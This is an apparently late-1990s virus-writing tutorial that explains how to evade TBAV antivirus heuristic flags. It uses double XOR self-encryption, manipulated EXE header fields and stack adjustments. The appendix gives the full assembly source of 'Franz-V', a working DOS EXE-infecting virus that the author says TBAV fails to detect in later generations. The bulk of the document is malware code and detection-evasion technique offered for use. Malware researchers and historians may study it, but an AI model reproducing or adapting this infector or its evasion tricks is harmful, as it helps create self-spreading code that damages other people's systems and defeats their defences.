Anti-Tbav Heuristics By: Doxtor L. -TI #1- [Introduction] I know there are several tutorals on this subject (read Vdat) but I never have seen inside them a manner to avoid "#","?","k" flags. Whats the meaning of this so-called "flag"? Its an information given to the user on some abnormal things about scanned files. To understand this tutorial you need to have written your own exe-infector. [What the Docs Say] # - Decryptor code found The file possibly contains a self-decryption routine. Some copy-protected software is encrypted, so this warning might appear for some of your files. If, however, this warning appears in combination with, for example, the "T" warning, there could be a virus involved and TbScan assumes contamination. Many viruses encrypt themselves and trigger this warning. ? - Inconsistent header. The program being processed has an EXE-header that does not reflect the actual program lay-out. Many viruses do not update the EXE-header of an EXE file correctly after they infect the file, so if this warning pops up frequently, it appears you have a problem. K - Unusual stack. The EXE file being processed has an odd (instead of even) stack offset or a suspicious stack segment. Many viruses are quite buggy by setting up an illegal stack value. In what follow i want to show you how to avoid these flags. [Intro Part II] Nowadays Tbav isnt considered as one of best anti-virus by vx. I know that. But tbav with its flags can be useful. Sometime ago when I was playing with a virus called "Krile" (Hey Raid ,i like your viruses ;) My puter was infected by it. To locate all infected files i had begun by using AVP... But at this time avp didnt detect this version of Krile, neither TBAV. But several files processed had the flags "?" and "k". Then in using a text editor i have seen these files were infected. Then to disinfect I have searched all files with "k" and "?" flags, read them with a text editor to check. Its the manner I used to stop the infection :) [Avoiding the Flags] # flag ------ lets make an experience: assemble this (silly) program: tasm/m2 silly.asm tlink/t silly.obj -------------silly.asm cut here---------------- code segment assume cs:code,ds:code,es:code org 100h start: mov cx,19 mov al,11h mov si,offset crypt_part call crypt int 20h crypt_part: db 19 dup ('V') ;we want encrypt this part in memory db 1000 dup ('N');tbav dont scan little files crypt: xor byte ptr [si],al inc si loop crypt ret code ends end start ------------end slly.asm cut here-------------------------- Why this silly program? Put it in tbav directory and scan it ! (in high heuristic mode of course ) What can you see? ....This program have the flag # Now replace the two "19" by 18 and make a new silly program and once again scan it with TBAV. Yes this new program dont have flag # :)) Conclusion : with my lame encryption routine if i encrypt 18 byte or less tbav dont see the crypt routine ;). Then if the size of your virus is 18 bytes tbav dont pop up flag # ....i'm kidding :) More seriously here is my method to defeat the # flag: Encrypt a part of code <19 bytes this part of code contains a routine to decrypt another part of code with no fixed size ;) The size of the first part HAVE TO BE <19 bytes. If its not then everything is screwed :( You can use this to make the job: call me me: pop bp sub bp,offset me lea si,offset 1st_crypt_part+bp mov al,key1 mov cx,offset end_1st_crypt_part call crypt jmp over crypt: xor byte ptr cs:[si],al inc si loop crypt ret over: first_crypt_part: ;this part lea si,second_crypt_part+bp ;contains mov cx,end_second_crypt_part -second_crypt_part ;12 bytes mov al,key2 call crypt end_first_crypt_part: 2nd_crypt_part: ----------------------- ---------virus--------- ----------------------- end_second_crypt_part: (see appendix for a full working example ) ? flag ------- When you want infect a exe-file you have to change its header. In your code you need to put something like: mov word ptr [exe_header+bp+10h],#1 ;***The initial value to set sp ;to when the program is executed mov word ptr [exe_header+bp+0ah],#2 ;The minimum number of 16 byte ;paragraphs of memory that the ;program requires to execute. ;(this is in addition to the ;image of program stored in ;the file) fills #1 with 0ff0h and #2 with 00ffh and all is alright ;) Warning! check your routine updating the size of infected file to be sure isnt buggy! (Nevertheless your virus seems to do the job so you notice nothing ) If it is, ? flag will be set. (see appendix for a full working example) k flag ------ When cs=ss or sp is an odd number. When you update the exe-header of file to infect you use something like: mov word ptr [exe_header+bp+16h],dx ; Initial value of the ; code segment (cs) mov word ptr [exe_header+bp+0eh],dx ; Initial value of the ; code segment (ss) put "inc dx" between the later instructions and dont forget to add: cli mov ax,ss dec ax mov ss,ax sti to the beginning of the virus be4 to put push/pop instructions and : mov byte ptr [exe_header+bp+10h],0ff0h ;(see ***) (see appendix for a working example) Conclusion: These tricks supress #,k,? flags in infected files. In using double encryption it appears tbav cant detect the 2nd+ generations of the example of virus joined in appendix. In fact tbav sees NOTHING :). [Appendix] [Disclaimer] This virus was written to illustrate a technique not to damage and/or spread. To test it I used Tbav806. * this virus is a no-tsr exe-infector twice encrypted * infected files dont have the flags #,?,k * Anti-lamer routine :) * Infect all true exe-files in current directory * Dont infect windows-exe files * Dont infect exe-files with overlay * Cant change directory * Save dta * No volontary destructive routine All anti-virus seems to detect it.Infected files (2nd+ generations) arent detected by tbav and seem to have just one flag: "c" (checksum missing). To compile tasm/m2 Franz-V.asm tlink/t Franz-V.obj [Begin Code] code segment assume cs:code,ds:code,es:code org 100h start: xor bp,bp jmp first_time ;skip encryption for first execution begin_virus: call me ;delta_offset routine me: pop bp sub bp,offset me lea si,first_crypt_part+bp mov cx,end_first_crypt_part - first_crypt_part mov al,11h call crypt jmp over crypt: xor byte ptr cs:[si],al inc si loop crypt ret over: first_crypt_part: lea si,second_crypt_part+bp mov cx,end_second_crypt_part - second_crypt_part mov al,33h call crypt end_first_crypt_part: second_crypt_part: cli mov ax,ss dec ax mov ss,ax sti first_time: push cs ; pop ds ;ds=cs mov word ptr [_es+bp],es ;save current es push cs ; pop es ;es=cs lea si,store+bp ;prepare for host lea di,old+bp ;execution movsw movsw movsw movsw mov ah,1ah ;move the dta lea dx,new_dta+bp int 21h mov ah,4eh lea dx,exe_file+bp mov cx,7 int 21h jnc open_file jmp restore_dta open_file: mov ax,3d02h ;open file found lea dx,new_dta+1eh+bp int 21h xchg ax,bx ;put file handler into bx read_file: mov ah,3fh ;read the header of mov cx,1ch ;file found lea dx,exe_header+bp int 21h test1: ;real exe-file? cmp word ptr [exe_header+bp],'ZM' je test3 test2: ;real exe-file? cmp word ptr [exe_header+bp],'MZ' jne get_another test3: ;infected? cmp word ptr [exe_header+12h+bp],'VI' je get_another test4: ;overlay? cmp word ptr [exe_header+26+bp],0 jne get_another test5: ;windows-exe? cmp byte ptr [exe_header+24+bp],40h je get_another save_exe_header: mov ax,word ptr [exe_header+bp+0eh] mov word ptr [store_ss+bp],ax mov ax,word ptr cs:[exe_header+bp+10h] mov word ptr [store_sp+bp],ax mov ax,word ptr [exe_header+bp+14h] mov word ptr [store_ip+bp],ax mov ax,word ptr cs:[exe_header+bp+16h] mov word ptr [store_cs+bp],ax go_end: mov ax,4202h xor cx,cx mov dx,cx int 21h push ax dx compute_new_csip: push ax mov ax,word ptr [exe_header+bp+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax jmp over_there get_another: jmp get_another2 over_there: change_header: mov word ptr [exe_header+bp+14h],cx mov word ptr [exe_header+bp+16h],dx inc dx mov word ptr [exe_header+bp+0eh],dx mov word ptr [exe_header+bp+10h],0ff0h mov word ptr [exe_header+bp+0ah],00ffh mov word ptr [exe_header+bp+12h],'VI' pop dx ax compute_size: add ax,end_virus-begin_virus adc dx,0 mov cx,512 div cx cmp dx,0 je enough inc ax enough: mov word ptr [exe_header+bp+04],ax mov word ptr [exe_header+bp+02],dx write_virus: lea si,begin_virus+bp lea di,heap+bp mov cx,end_virus-begin_virus rep movsb lea si,(first_crypt_part-begin_virus+heap)+bp mov al,11h mov cx,end_first_crypt_part-first_crypt_part call crypt lea si,(second_crypt_part-begin_virus+heap)+bp mov al,33h mov cx,end_second_crypt_part - second_crypt_part call crypt mov cx,end_virus-begin_virus mov ah,40h lea dx,bp+heap int 21h go_beginning: mov ax,4200h xor cx,cx mov dx,cx int 21h copy_new_header: mov ah,40h mov cx,1ah lea dx,exe_header+bp int 21h get_another2: mov ah,3eh int 21h mov ah,4fh int 21h jc restore_dta jmp open_file restore_dta: mov ax,word ptr [_es+bp] push ax pop ds mov dx,80h mov ah,1ah int 21h push ds pop es mov ax,es ;compute cs to execute add ax,10h add word ptr cs:[old_cs+bp],ax ;host restore_host_stack: cli add ax,word ptr cs:[bp+old_ss] mov ss,ax mov sp,word ptr cs:[bp+old_sp] sti go_host: db 0eah ;jmp xx:yy old: old_ip dw 0 old_cs dw 0 old_sp dw 0 old_ss dw 0 store: store_ip dw 0 store_cs dw 0fff0h store_sp dw 0 store_ss dw 0fff0h sign db '(c)Franz-V by DoxtorL./TI July1998' exe_file db 'goat*.exe',0 ;Anti-lamer routine :) end_second_crypt_part: end_virus: _es dw ? exe_header db 1ch dup (?) new_dta db 43 dup (?) heap: code ends end start [End Of File]